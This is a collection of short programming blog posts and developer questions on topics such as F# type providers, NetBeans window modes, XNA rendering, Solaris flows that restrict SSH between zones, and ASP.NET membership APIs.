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  • Future Of F# At Jazoon 2011

    - by Alois Kraus
    I was at the Jazoon 2011 in Zurich (Switzerland). It was a really cool event and it had many top notch speaker not only from the Microsoft universe. One of the most interesting talks was from Don Syme with the title: F# Today/F# Tomorrow. He did show how to use F# scripting to browse through open databases/, OData Web Services, Sharepoint, …interactively. It looked really easy with the help of F# Type Providers which is the next big language feature in a future F# version. The object returned by a Type Provider is used to access the data like in usual strongly typed object model. No guessing how the property of an object is called. Intellisense will show it just as you expect. There exists a range of Type Providers for various data sources where the schema of the stored data can somehow be dynamically extracted. Lets use e.g. a free database it would be then let data = DbProvider(http://.....); data the object which contains all data from e.g. a chemical database. It has an elements collection which contains an element which has the properties: Name, AtomicMass, Picture, …. You can browse the object returned by the Type Provider with full Intellisense because the returned object is strongly typed which makes this happen. The same can be achieved of course with code generators that use an input the schema of the input data (OData Web Service, database, Sharepoint, JSON serialized data, …) and spit out the necessary strongly typed objects as an assembly. This does work but has the downside that if the schema of your data source is huge you will quickly run against a wall with traditional code generators since the generated “deserialization” assembly could easily become several hundred MB. *** The following part contains guessing how this exactly work by asking Don two questions **** Q: Can I use Type Providers within C#? D: No. Q: F# is after all a library. I can reference the F# assemblies and use the contained Type Providers? D: F# does annotate the generated types in a special way at runtime which is not a static type that C# could use. The F# type providers seem to use a hybrid approach. At compilation time the Type Provider is instantiated with the url of your input data. The obtained schema information is used by the compiler to generate static types as usual but only for a small subset (the top level classes up to certain nesting level would make sense to me). To make this work you need to access the actual data source at compile time which could be a problem if you want to keep the actual url in a config file. Ok so this explains why it does work at all. But in the demo we did see full intellisense support down to the deepest object level. It looks like if you navigate deeper into the object hierarchy the type provider is instantiated in the background and attach to a true static type the properties determined at run time while you were typing. So this type is not really static at all. It is static if you define as a static type that its properties shows up in intellisense. But since this type information is determined while you are typing and it is not used to generate a true static type and you cannot use these “intellistatic” types from C#. Nonetheless this is a very cool language feature. With the plotting libraries you can generate expressive charts from any datasource within seconds to get quickly an overview of any structured data storage. My favorite programming language C# will not get such features in the near future there is hope. If you restrict yourself to OData sources you can use LINQPad to query any OData enabled data source with LINQ with ease. There you can query Stackoverflow with The output is also nicely rendered which makes it a very good tool to explore OData sources today.

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  • "previousMode": Controling the Pin Action of a TopComponent

    - by Geertjan
    An excellent thing I learned today is that you, as a developer of a NetBeans module or NetBeans Platform application, can control the pin button. Up until today, whenever I had a TopComponent defined to appear in "rightSlidingSide" mode and then I clicked the "pin" button, as shown here... ...the TopComponent would then find itself pinned in the "explorer" mode. Would make more sense if it would be pinned in the "properties" mode, which is the docked mode closest to the "rightSlidingSide" mode. Not being able to control the "pin" button has been a recurring question (including in my own head) over several years. But the NetBeans Team's window system guru Stan Aubrecht informed me today that a "previousMode" attribute exists in the "tc-ref" file of the TopComponent. Since a few releases, that file is generated via the annotations in the TopComponent. However, "previousMode" is currently not one of the attributes exposed by the @TopComponent.Registration annotation. Therefore, what I did was this: Set "rightSlidingSide" in the "mode" attribute of the @TopComponent.Registration. Build the module. Find the "generated-layer.xml" (in the Files window) and move the layer registration of the TopComponent, including its action and menu item for opening the TopComponent, into my own manual layer within the module. Then remove all the TopComponent annotations from the TopComponent, though you can keep @ConvertAsProperties and @Messages. Then add the "previousMode" attribute, as highlighted below, into my own layer file, i.e., within the tags copied from the "generated-layer.xml": <folder name="Modes"> <folder name="rightSlidingSide"> <file name="ComparatorTopComponent.wstcref"> <![CDATA[<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE tc-ref PUBLIC "-//NetBeans//DTD Top Component in Mode Properties 2.0//EN" "http://www.netbeans.org/dtds/tc-ref2_0.dtd"> <tc-ref version="2.0"> <tc-id id="ComparatorTopComponent"/> <state opened="false"/> <previousMode name="properties" index="0" /> </tc-ref> ]]> </file> </folder> </folder> Now when you run the application and pin the specific TopComponent defined above, i.e., in the above case, named "ComparatorTopComponent", you will find it is pinned into the "properties" mode! That's pretty cool and if you agree, then you're a pretty cool NetBeans Platform developer, and I'd love to find out more about the application/s you're creating on the NetBeans Platform! Meanwhile, I'm going to create an issue for exposing the "previousMode" attribute in the @TopComponent.Registration annotation.

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  • How to Draw Lines on the Screen

    - by Geertjan
    I've seen occasional questions on mailing lists about how to use the NetBeans Visual Library to draw lines, e.g., to make graphs or diagrams of various kinds by drawing on the screen. So, rather than drag/drop causing widgets to be added, you'd want widgets to be added on mouse clicks, and you'd want to be able to connect those widgets together somehow. Via the code below, you'll be able to click on the screen, which causes a dot to appear. When you have multiple dots, you can hold down the Ctrl key and connect them together. A guiding line appears to help you position the dots exactly in line with each other. When you go to File | Print, you'll be able to preview and print the diagram you've created. A picture that speaks 1000 words: Here's the code: public final class PlotterTopComponent extends TopComponent { private final Scene scene; private final LayerWidget baseLayer; private final LayerWidget connectionLayer; private final LayerWidget interactionLayer; public PlotterTopComponent() { initComponents(); setName(Bundle.CTL_PlotterTopComponent()); setToolTipText(Bundle.HINT_PlotterTopComponent()); setLayout(new BorderLayout()); this.scene = new Scene(); this.baseLayer = new LayerWidget(scene); this.interactionLayer = new LayerWidget(scene); this.connectionLayer = new LayerWidget(scene); scene.getActions().addAction(new SceneCreateAction()); scene.addChild(baseLayer); scene.addChild(interactionLayer); scene.addChild(connectionLayer); add(scene.createView(), BorderLayout.CENTER); putClientProperty("print.printable", true); } private class SceneCreateAction extends WidgetAction.Adapter { @Override public WidgetAction.State mousePressed(Widget widget, WidgetAction.WidgetMouseEvent event) { if (event.getClickCount() == 1) { if (event.getButton() == MouseEvent.BUTTON1 || event.getButton() == MouseEvent.BUTTON2) { baseLayer.addChild(new BlackDotWidget(scene, widget, event)); repaint(); return WidgetAction.State.CONSUMED; } } return WidgetAction.State.REJECTED; } } private class BlackDotWidget extends ImageWidget { public BlackDotWidget(Scene scene, Widget widget, WidgetAction.WidgetMouseEvent event) { super(scene); setImage(ImageUtilities.loadImage("org/netbeans/plotter/blackdot.gif")); setPreferredLocation(widget.convertLocalToScene(event.getPoint())); getActions().addAction( ActionFactory.createExtendedConnectAction( connectionLayer, new BlackDotConnectProvider())); getActions().addAction( ActionFactory.createAlignWithMoveAction( baseLayer, interactionLayer, ActionFactory.createDefaultAlignWithMoveDecorator())); } } private class BlackDotConnectProvider implements ConnectProvider { @Override public boolean isSourceWidget(Widget source) { return source instanceof BlackDotWidget && source != null ? true : false; } @Override public ConnectorState isTargetWidget(Widget src, Widget trg) { return src != trg && trg instanceof BlackDotWidget ? ConnectorState.ACCEPT : ConnectorState.REJECT; } @Override public boolean hasCustomTargetWidgetResolver(Scene arg0) { return false; } @Override public Widget resolveTargetWidget(Scene arg0, Point arg1) { return null; } @Override public void createConnection(Widget source, Widget target) { ConnectionWidget conn = new ConnectionWidget(scene); conn.setTargetAnchor(AnchorFactory.createCircularAnchor(target, 10)); conn.setSourceAnchor(AnchorFactory.createCircularAnchor(source, 10)); connectionLayer.addChild(conn); } } ... ... ... Note: The code above was written based on the Visual Library tutorials on the NetBeans Platform Learning Trail, in particular via the "ConnectScene" sample in the "test.connect" package, which is part of the very long list of Visual Library samples referred to in the Visual Library tutorials on the NetBeans Platform Learning Trail. The next steps are to add a reconnect action and an action to delete a dot by double-clicking on it. Would be interesting to change the connecting line so that the length of the line were to be shown, i.e., as you draw a line from one dot to another, you'd see a constantly changing number representing the current distance of the connecting line. Also, once lines are connected to form a rectangle, would be cool to be able to write something within that rectangle. Then one could really create diagrams, which would be pretty cool.

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  • UPOS RFIDScanner data format

    - by Robert Snyder
    A lot of work that I do currently is based in the OPOS/UPOS world. My company has a device that can read 13.56Mhz tags (RFID), Smart Cards, and Mag Stripe cards. Up until somewhat recently I have only been working with RFID for a very specific scenario. That was to read UltraLight C and Desfire cards. These cards were all setup very specifically so that I could take the data read from those cards and force it into a MSR track2 format. The past couple of weeks, however, I have been working on reading RFID credit cards (since I have a Visa card I've been using mine), and Smart Card credit cards. (The visa card I have has both) In learning how to communicate with SmartCard and reading ISO7816 and EMVCO documents I became a little more familiar with how info is stored. But now I have a question regarding UPOS. The RFID data on my Visa is stored (and read) very similar to how the data is stored and read from the Smart Card on my Visa. Cool. Well in the UPOS spec for SmartCardRW the ReadData method returns a byte array. That's cool, I can just return all that data and then parse it as my heart desires. The RFID though has a LinkedList of Tags. Well this makes sense in terms of my Visa card (reminds me of a question I have in regards to SmartCard, but that is for another question) but what about ULC and Desfire, or for that matter any Mifare card. Pages, Files, Purses don't exactly fit the Tag profile. For instance lets just say I read pages 4-12 on my ULC card. Each page I read is 4 bytes long. Does this mean I have 9 tags in my LinkedList? Is my Tag id the page number? Or then how does that translate to Desfire? I open application 123456 and read file 1 and file 2, Do I have 2 tags? and if so what is my tag id? At least with my Visa I think that I have to use the Tag id (ex 5F24 for my expiration date) and value of {0x15, 0x10, 0x31} Part of me says yes..that makes sense. Another part of me says, "well if that is the case then why doesn't SmartCardRW have Tags?" So that is my question. How do I format my data from those different types of media? or is that the job of my Control Object (the application)? Is so how does it know? The only protocols I have are: // Summary: // Enumerates the available predefined RFID tag protocols the device supports. [Flags] public enum RFIDProtocols { EpcClass0 = 1, RFIDSdt0Plus = 2, EpcClass1 = 4, EpcClass1Gen2 = 8, EpcClass2 = 16, Iso14443A = 4096, Iso14443B = 8192, Iso15693 = 12288, Iso180006B = 16384, Other = 16777216, All = 1073741824, } If I use that well all of my cards that I have are all Iso14443A. I use the ATQA and the SAK to know what type of card I really have. There is no RFID property that lets me specify that. So I'm lost.

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  • The gestures of Windows 8 (Consumer preview): part 2, More about Search

    - by Laurent Bugnion
    This is part 2 of a multipart blog post about the gestures and shortcuts in Windows 8 consumer preview. Part 1 can be found here! More about the Search charm In the first installment of this series, we talked about the charms and mentioned a few gestures to display the Search charm. Search is a very central and powerful feature in Windows 8, and allows you to search in Apps, Settings, Files and within Metro applications that support the Search contract. There are a few cool features around the Search, and especially the applications associated to it. I already mentioned the keyboard shortcuts you can use: Win-C shows the Charms bar (same as swiping from the right bevel towards the center of the screen). Win-Q open the Search fly out with Apps preselected. Win-W open the Search fly out with Settings preselected. Win-F open the Search fly out with Files preselected. Searching in Metro apps In addition to these three search domains, you can also search a Metro app, as long as it supports the Search contract (check this Build video to learn more about the Search contract). These apps show up in the Search flyout as shown here: Notice the list of apps below the Files button? That’s what we are talking about. First of all, the list order changes when you search in some applications. For instance, in the image above, I had used the Store with the Search charm. This is why the store shows up as the first app. I am not 100% what algorithm is used here (sorting according to number of searches is my guess), but try it out and try to figure it out Applications that have never been searched are sorted alphabetically. Does it mean we will see cool app names like ___AAA_MyCoolApp? I certainly hope not!! Pinning You can also pin often used apps to the Search flyout. To pin an app with the mouse, right click on it in the Search flyout and select Pin from the context menu. With the keyboard, use the arrow keys to go down to the selected app, and then open the context menu. With the finger, simply tap and hold until you see a semi transparent rectangle indicating that the context menu will be shown, then release. The context menu opens up and you can select Pin. Pin context menu Pinned apps Unpinning, Hiding Using the same technique as for pinning here above, you can also unpin a pinned application. Finally, you can also choose to hide an app from the Search flyout altogether. This is a convenient way to clean up and make it easy to find stuff. Note: At this point, I am not sure how to re-add a hidden app to the Search flyout. If anyone knows, please mention it in the comments, thanks! Reordering You can also reorder pinned apps. To do this, with the finger, tap, hold and pull the app to the side, then pull it vertically to reorder it. You can also reorder with the mouse, simply by clicking on an app and pulling it vertically to the place you want to put it. I don’t think there is a way to do that with the keyboard though. That’s it for now More gestures will follow in a next installment! Have fun with Windows 8   Laurent Bugnion (GalaSoft) Subscribe | Twitter | Facebook | Flickr | LinkedIn

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  • In hindsight, is basing XAML on XML a mistake or a good approach?

    - by romkyns
    XAML is essentially a subset of XML. One of the main benefits of basing XAML on XML is said to be that it can be parsed with existing tools. And it can, to a large degree, although the (syntactically non-trivial) attribute values will stay in text form and require further parsing. There are two major alternatives to describing a GUI in an XML-derived language. One is to do what WinForms did, and describe it in real code. There are numerous problems with this, though it’s not completely advantage-free (a question to compare XAML to this approach). The other major alternative is to design a completely new syntax specifically tailored for the task at hand. This is generally known as a domain-specific language. So, in hindsight, and as a lesson for the future generations, was it a good idea to base XAML on XML, or would it have been better as a custom-designed domain-specific language? If we were designing an even better UI framework, should we pick XML or a custom DSL? Since it’s much easier to think positively about the status quo, especially one that is quite liked by the community, I’ll give some example reasons for why building on top of XML might be considered a mistake. Basing a language off XML has one thing going for it: it’s much easier to parse (the core parser is already available), requires much, much less design work, and alternative parsers are also much easier to write for 3rd party developers. But the resulting language can be unsatisfying in various ways. It is rather verbose. If you change the type of something, you need to change it in the closing tag. It has very poor support for comments; it’s impossible to comment out an attribute. There are limitations placed on the content of attributes by XML. The markup extensions have to be built "on top" of the XML syntax, not integrated deeply and nicely into it. And, my personal favourite, if you set something via an attribute, you use completely different syntax than if you set the exact same thing as a content property. It’s also said that since everyone knows XML, XAML requires less learning. Strictly speaking this is true, but learning the syntax is a tiny fraction of the time spent learning a new UI framework; it’s the framework’s concepts that make the curve steep. Besides, the idiosyncracies of an XML-based language might actually add to the "needs learning" basket. Are these disadvantages outweighted by the ease of parsing? Should the next cool framework continue the tradition, or invest the time to design an awesome DSL that can’t be parsed by existing tools and whose syntax needs to be learned by everyone? P.S. Not everyone confuses XAML and WPF, but some do. XAML is the XML-like thing. WPF is the framework with support for bindings, theming, hardware acceleration and a whole lot of other cool stuff.

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  • Security Access Control With Solaris Virtualization

    - by Thierry Manfe-Oracle
    Numerous Solaris customers consolidate multiple applications or servers on a single platform. The resulting configuration consists of many environments hosted on a single infrastructure and security constraints sometimes exist between these environments. Recently, a customer consolidated many virtual machines belonging to both their Intranet and Extranet on a pair of SPARC Solaris servers interconnected through Infiniband. Virtual Machines were mapped to Solaris Zones and one security constraint was to prevent SSH connections between the Intranet and the Extranet. This case study gives us the opportunity to understand how the Oracle Solaris Network Virtualization Technology —a.k.a. Project Crossbow— can be used to control outbound traffic from Solaris Zones. Solaris Zones from both the Intranet and Extranet use an Infiniband network to access a ZFS Storage Appliance that exports NFS shares. Solaris global zones on both SPARC servers mount iSCSI LU exported by the Storage Appliance.  Non-global zones are installed on these iSCSI LU. With no security hardening, if an Extranet zone gets compromised, the attacker could try to use the Storage Appliance as a gateway to the Intranet zones, or even worse, to the global zones as all the zones are reachable from this node. One solution consists in using Solaris Network Virtualization Technology to stop outbound SSH traffic from the Solaris Zones. The virtualized network stack provides per-network link flows. A flow classifies network traffic on a specific link. As an example, on the network link used by a Solaris Zone to connect to the Infiniband, a flow can be created for TCP traffic on port 22, thereby a flow for the ssh traffic. A bandwidth can be specified for that flow and, if set to zero, the traffic is blocked. Last but not least, flows are created from the global zone, which means that even with root privileges in a Solaris zone an attacker cannot disable or delete a flow. With the flow approach, the outbound traffic of a Solaris zone is controlled from outside the zone. Schema 1 describes the new network setting once the security has been put in place. Here are the instructions to create a Crossbow flow as used in Schema 1 : (GZ)# zoneadm -z zonename halt ...halts the Solaris Zone. (GZ)# flowadm add-flow -l iblink -a transport=TCP,remote_port=22 -p maxbw=0 sshFilter  ...creates a flow on the IB partition "iblink" used by the zone to connect to the Infiniband.  This IB partition can be identified by intersecting the output of the commands 'zonecfg -z zonename info net' and 'dladm show-part'.  The flow is created on port 22, for the TCP traffic with a zero maximum bandwidth.  The name given to the flow is "sshFilter". (GZ)# zoneadm -z zonename boot  ...restarts the Solaris zone now that the flow is in place.Solaris Zones and Solaris Network Virtualization enable SSH access control on Infiniband (and on Ethernet) without the extra cost of a firewall. With this approach, no change is required on the Infiniband switch. All the security enforcements are put in place at the Solaris level, minimizing the impact on the overall infrastructure. The Crossbow flows come in addition to many other security controls available with Oracle Solaris such as IPFilter and Role Based Access Control, and that can be used to tackle security challenges.

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  • Fun tips with Analytics

    - by user12620172
    If you read this blog, I am assuming you are at least familiar with the Analytic functions in the ZFSSA. They are basically amazing, very powerful and deep. However, you may not be aware of some great, hidden functions inside the Analytic screen. Once you open a metric, the toolbar looks like this: Now, I’m not going over every tool, as we have done that before, and you can hover your mouse over them and they will tell you what they do. But…. Check this out. Open a metric (CPU Percent Utilization works fine), and click on the “Hour” button, which is the 2nd clock icon. That’s easy, you are now looking at the last hour of data. Now, hold down your ‘Shift’ key, and click it again. Now you are looking at 2 hours of data. Hold down Shift and click it again, and you are looking at 3 hours of data. Are you catching on yet? You can do this with not only the ‘Hour’ button, but also with the ‘Minute’, ‘Day’, ‘Week’, and the ‘Month’ buttons. Very cool. It also works with the ‘Show Minimum’ and ‘Show Maximum’ buttons, allowing you to go to the next iteration of either of those. One last button you can Shift-click is the handy ‘Drill’ button. This button usually drills down on one specific aspect of your metric. If you Shift-click it, it will display a “Rainbow Highlight” of the current metric. This works best if this metric has many ‘Range Average’ items in the left-hand window. Give it a shot. Also, one will sometimes click on a certain second of data in the graph, like this:  In this case, I clicked 4:57 and 21 seconds, and the 'Range Average' on the left went away, and was replaced by the time stamp. It seems at this point to some people that you are now stuck, and can not get back to an average for the whole chart. However, you can actually click on the actual time stamp of "4:57:21" right above the chart. Even though your mouse does not change into the typical browser finger that most links look like, you can click it, and it will change your range back to the full metric. Another trick you may like is to save a certain view or look of a group of graphs. Most of you know you can save a worksheet, but did you know you could Sync them, Pause them, and then Save it? This will save the paused state, allowing you to view it forever the way you see it now.  Heatmaps. Heatmaps are cool, and look like this:  Some metrics use them and some don't. If you have one, and wish to zoom it vertically, try this. Open a heatmap metric like my example above (I believe every metric that deals with latency will show as a heatmap). Select one or two of the ranges on the left. Click the "Change Outlier Elimination" button. Click it again and check out what it does.  Enjoy. Perhaps my next blog entry will be the best Analytic metrics to keep your eyes on, and how you can use the Alerts feature to watch them for you. Steve 

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  • Incentivizing Work with Development Teams

    - by MarkPearl
    Recently I saw someone on twitter asking about incentives and if anyone had past experience with incentivizing work. I promised to respond with some of the experiences I have had in the past so here goes... **Disclaimer** - these are my experiences with incentives, generally in software development - in some other industries this may not be applicable – this is also my thinking at this point in time, with more experience my opinion may change. Incentivize at the level that you want people to group at If you are wanting to promote a team mentality, incentivize teams. If you want to promote an individual mentality, incentivize individuals. There is nothing worse than mixing this up. Some organizations put a lot of effort in establishing teams and team mentalities but reward individuals. This has a counter effect on the resources they have put towards establishing a team mentality. In the software projects that I work with we want promote cross functional teams that collaborate. Personally, if I was on a team and knew that there was an opportunity to work on a critical component of the system, and that by doing so I would get a bigger bonus, then I would be hesitant to include other people in solving that problem. Thus, I would hinder the teams efforts in being cross functional and reduce collaboration levels. Does that mean everyone in the team should get an even share of an incentive? In most situations I would say yes - even though this may feel counter-intuitive. I have heard arguments put forward that if “person x contributed more than person Y then they should be rewarded more” – This may sound controversial but I would rather treat people how would you like them to perform, not where they currently are at. To add to this approach, if someone is free loading, you bet your bottom dollar that the team is going to make this a lot more transparent if they feel that individual is going to be rewarded at the same level that everyone else is. Bad incentives promote destructive work If you are going to incentivize people, pick you incentives very carefully. I had an experience once with a sales person who was told they would get a bonus provided that they met an ordering target with a particular supplier. What did this person do? They sold everything at cost for the next month or so. They reached the goal, but the company didn't gain anything from it. It was a bad incentive. Expect the same with development teams, if you incentivize zero bug levels, you will get zero code committed to the solution. If you incentivize lines of code, you will get many many lines of bad code. Is there such a thing as a good incentives? Monetary wise, I am not sure there is. I would much rather encourage organizations to pay their people what they are worth upfront. I would also advise against paying money to teams as an incentive or even a bonus or reward for reaching a milestone. Rather have a breakaway for the team that promotes team building as a reward if they reach a milestone than pay them more money. I would also advise against making the incentive the reason for them to reach the milestone. If this becomes the norm it promotes people to begin to only do their job if there is an incentive at the end of the line. This is not a behaviour one wants to encourage. If the team or individual is in the right mind-set, they should not work any harder than they are right now with normal pay.

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  • Why RenderTarget2D overwrites other objects when trying to put some text in a model?

    - by cad
    I am trying to draw an object composited by two cubes (A & B) (one on top of the other, but for now I have them a little bit more open). I am able to do it and this is the result. (Cube A is the blue and Cube B is the one with brown text that comes from a png texture) But I want to have any text as parameter in the cube B. I have tried what @alecnash suggested in his question, but for some reason when I try to draw cube B, cube A dissapears and everything turns purple. This is my draw code: public void Draw(GraphicsDevice graphicsDevice, SpriteBatch spriteBatch, Matrix viewMatrix, Matrix projectionMatrix) { graphicsDevice.BlendState = BlendState.Opaque; graphicsDevice.DepthStencilState = DepthStencilState.Default; graphicsDevice.RasterizerState = RasterizerState.CullCounterClockwise; graphicsDevice.SamplerStates[0] = SamplerState.LinearClamp; // CUBE A basicEffect.View = viewMatrix; basicEffect.Projection = projectionMatrix; basicEffect.World = Matrix.CreateTranslation(ModelPosition); basicEffect.VertexColorEnabled = true; foreach (EffectPass pass in basicEffect.CurrentTechnique.Passes) { pass.Apply(); drawCUBE_TOP(graphicsDevice); drawCUBE_Floor(graphicsDevice); DrawFullSquareStripesFront(graphicsDevice, _numStrips, Color.Red, Color.Blue, _levelPercentage); DrawFullSquareStripesLeft(graphicsDevice, _numStrips, Color.Red, Color.Blue, _levelPercentage); DrawFullSquareStripesRight(graphicsDevice, _numStrips, Color.Red, Color.Blue, _levelPercentage); DrawFullSquareStripesBack(graphicsDevice, _numStrips, Color.Red, Color.Blue, _levelPercentage); } // CUBE B // Set the World matrix which defines the position of the cube texturedCubeEffect.World = Matrix.CreateTranslation(ModelPosition); // Set the View matrix which defines the camera and what it's looking at texturedCubeEffect.View = viewMatrix; // Set the Projection matrix which defines how we see the scene (Field of view) texturedCubeEffect.Projection = projectionMatrix; // Enable textures on the Cube Effect. this is necessary to texture the model texturedCubeEffect.TextureEnabled = true; Texture2D a = SpriteFontTextToTexture(graphicsDevice, spriteBatch, arialFont, "TEST ", Color.Black, Color.GhostWhite); texturedCubeEffect.Texture = a; //texturedCubeEffect.Texture = cubeTexture; // Enable some pretty lights texturedCubeEffect.EnableDefaultLighting(); // apply the effect and render the cube foreach (EffectPass pass in texturedCubeEffect.CurrentTechnique.Passes) { pass.Apply(); cubeToDraw.RenderToDevice(graphicsDevice); } } private Texture2D SpriteFontTextToTexture(GraphicsDevice graphicsDevice, SpriteBatch spriteBatch, SpriteFont font, string text, Color backgroundColor, Color textColor) { Vector2 Size = font.MeasureString(text); RenderTarget2D renderTarget = new RenderTarget2D(graphicsDevice, (int)Size.X, (int)Size.Y); graphicsDevice.SetRenderTarget(renderTarget); graphicsDevice.Clear(Color.Transparent); spriteBatch.Begin(); //have to redo the ColorTexture //spriteBatch.Draw(ColorTexture.Create(graphicsDevice, 1024, 1024, backgroundColor), Vector2.Zero, Color.White); spriteBatch.DrawString(font, text, Vector2.Zero, textColor); spriteBatch.End(); graphicsDevice.SetRenderTarget(null); return renderTarget; } The way I generate texture with dynamic text is: Texture2D a = SpriteFontTextToTexture(graphicsDevice, spriteBatch, arialFont, "TEST ", Color.Black, Color.GhostWhite); After commenting several parts to see what caused the problem, it seems to be located in this line graphicsDevice.SetRenderTarget(renderTarget);

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  • What is wrong with this solution? (Perm-Missing-Elem codility test)

    - by user2956907
    I have started playing with codility and came across this problem: A zero-indexed array A consisting of N different integers is given. The array contains integers in the range [1..(N + 1)], which means that exactly one element is missing. Your goal is to find that missing element. Write a function: int solution(int A[], int N); that, given a zero-indexed array A, returns the value of the missing element. For example, given array A such that: A[0] = 2 A[1] = 3 A[2] = 1 A[3] = 5 the function should return 4, as it is the missing element. Assume that: N is an integer within the range [0..100,000]; the elements of A are all distinct; each element of array A is an integer within the range [1..(N + 1)]. Complexity: expected worst-case time complexity is O(N); expected worst-case space complexity is O(1), beyond input storage (not counting the storage required for input arguments). I have submitted the following solution (in PHP): function solution($A) { $nr = count($A); $totalSum = (($nr+1)*($nr+2))/2; $arrSum = array_sum($A); return ($totalSum-$arrSum); } which gave me a score of 66 of 100, because it was failing the test involving large arrays: "large_range range sequence, length = ~100,000" with the result: RUNTIME ERROR tested program terminated unexpectedly stdout: Invalid result type, int expected. I tested locally with an array of 100.000 elements, and it worked without any problems. So, what seems to be the problem with my code and what kind of test cases did codility use to return "Invalid result type, int expected"?

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  • How to fix the endless printing loop bug in Nevrona Rave

    - by Sean B. Durkin
    Nevrona Designs' Rave Reports is a Report Engine for use by Embarcadero's Delphi IDE. This is what I call the Rave Endless Loop bug. In Rave Reports version 6.5.0 (VCL10) that comes bundled with Delphi 2006, there is a nortorious bug that plagues many Rave report developers. If you have a non-empty dataset, and the data rows for this dataset fit exactly into a page (that is to say there are zero widow rows), then upon PrintPreview, Rave will get stuck in an infinite loop generating pages. This problem has been previously reported in this newsgroup under the following headings: "error: generating infinite pages"; Hugo Hiram 20/9/2006 8:44PM "Rave loop bug. Please help"; Tomas Lazar 11/07/2006 7:35PM "Loop on full page of data?"; Tony Chistiansen 23/12/2004 3:41PM reply to (3) by another complainant; Oliver Piche "Endless lopp print bug"; Richso 9/11/2004 4:44PM In each of these postings, there was no response from Nevrona, and no solution was reported. Possibly, the problem has also been reported on an allied newsgroup (nevrona.public.rave.reports.general), to wit: 6. "Continuously generating report"; Jobard 20/11/2005 Although it is not clear to me if (6) is the Rave Endless loop bug or another problem. This posting did get a reply from Nevrona, but it was more in relation to multiple regions ("There is a problem when using multiple regions that go over a page-break.") than the problem of zero widows.

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  • XNA Alpha Blending to make part of a texture transparent

    - by David
    What I am trying to do is use alpha blending in XNA to make part of a drawn texture transparent. So for instance, I clear the screen to some color, lets say Blue. Then I draw a texture that is red. Finally I draw a texture that is just a radial gradient from completely transparent in the center to completely black at the edge. What I want is the Red texture drawn earlier to be transparent in the same places as the radial gradient texture. So you should be able to see the blue back ground through the red texture. I thought that this would work. GraphicsDevice.Clear(Color.CornflowerBlue); spriteBatch.Begin(SpriteBlendMode.None); spriteBatch.Draw(bg, new Vector2(0, 0), Color.White); spriteBatch.End(); spriteBatch.Begin(SpriteBlendMode.None); GraphicsDevice.RenderState.AlphaBlendEnable = true; GraphicsDevice.RenderState.AlphaSourceBlend = Blend.One; GraphicsDevice.RenderState.AlphaDestinationBlend = Blend.Zero; GraphicsDevice.RenderState.SourceBlend = Blend.Zero; GraphicsDevice.RenderState.DestinationBlend = Blend.One; GraphicsDevice.RenderState.BlendFunction = BlendFunction.Add; spriteBatch.Draw(circle, new Vector2(0, 0), Color.White); spriteBatch.End(); GraphicsDevice.RenderState.AlphaBlendEnable = false; But it just seems to ignore all my RenderState settings. I also tried setting the SpriteBlendMode to AlphaBlend. It blends the textures, but that is not the effect I want. Any help would be appreciated.

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  • using Quick Sequence Diagram Editor for sequence diagrams

    - by Jason S
    Anyone have experience with Quick Sequence Diagram Editor? The combination of instant display + text source code + Java implementation is very attractive to me, but I can't quite figure out how to make the syntax do what I want, and the documentation's not very clear. Here's a contrived example: al:Actor bill:Actor atm:ATM[a] bank:Bank[a] al:atm.give me $10 atm:al has $3=bank.check al's account balance al:atm.what time is it atm:al.it's now atm:al.stop bugging me atm:al.you only have $3 atm:bill.and don't you open your mouth bill:atm.who asked you? bill:atm.give me $20 al:atm.hey, I'm not finished! atm:bill has $765=bank.check bill's account balance atm:yes I'm sure, bill has $765=bank.hmm are you sure? atm:bill.here's $20, now go away atm:great, he's a cool dude=bank.I just gave Bill $20 al:atm.what about my $10? atm:al.read my lips: you only have $3 Here's the result from QSDE in single-threaded mode: and in multi-threaded mode: I guess I'm not clear what starts/ends those vertical bars. I have a situation which is single-threaded, but there's state involved, and all the messages are asynchronous. I guess that means I should use an external object to represent that state and its lifetime. What I want is for one timeline to represent the message sequence al:atm.give me $10 atm:bank.check al's account balance bank:atm.al has $3 atm:al.you only have $3 and another timeline to represent the message sequence bill:atm.give me $20 atm:bank.check bill's account balance bank:atm.bill has $765 atm:bank.hmm are you sure? bank:atm.yes I'm sure, bill has $765 atm:bill.here's $20, now go away atm:bank.I just gave Bill $20 bank:atm.great, he's a cool dude with the other "wisecracks" representing other miscellaneous messages that I don't care about right now. Is there a way to do this with QSDE?

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  • ASP.NET Membership with two providers cant use GetAllUsers method

    - by Bayonian
    Hi, I'm using two membership providers. When I declared a following statement Dim allUsers As MembershipUserCollection = Membership.Providers("CustomSqlRoleManager").GetAllUsers Then, it gave me this error message. Argument not specified for paramenter 'totalRecords' of 'Public MustOverride Function GetAllUsers(pageIndex as Integer, pageSize as Integer, ByRef totalRecords as Integer) As System.Web.Security.MembershipUserCollection' Then, I added what it asked for like this : Dim allUsers As MembershipUserCollection = Membership.Providers("CustomSqlRoleManager").GetAllUsers(1, 50, 100) I don't get anything in return. I debugged it and allUsers = Nothing. What's wrong the declaration above? Do I really have to provider the paramenters when calling Membership.Providers("CustomSqlRoleManager").GetAllUsers? Update 1 If, I used the statement below: Dim allUsers As MembershipUserCollection = Membership.Providers("MembershipRoleManager").GetAllUsers(0, 0, totalUser) I got this error message: The pageSize must be greater than zero. Parameter name: pageSize. [ArgumentException: The pageSize must be greater than zero. Parameter name: pageSize] System.Web.Security.SqlMembershipProvider.GetAllUsers(Int32 pageIndex, Int32 pageSize, Int32& totalRecords) +1848357 But it works if I provied the pageSize param: Dim pageSize As Integer = GetTotalNumberOfUser() Dim allUsers As MembershipUserCollection = Membership.Providers("MembershipRoleManager").GetAllUsers(0, pageSize, totalUser) This statment Dim pageSize As Integer = GetTotalNumberOfUser() returns the total counted record, it's already round trip to database, just to get the total number of users, because I need to provide the pageSize param value.

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  • How can I programmatically link an UIView or UIImageView with an event like "touch up inside"?

    - by Thanks
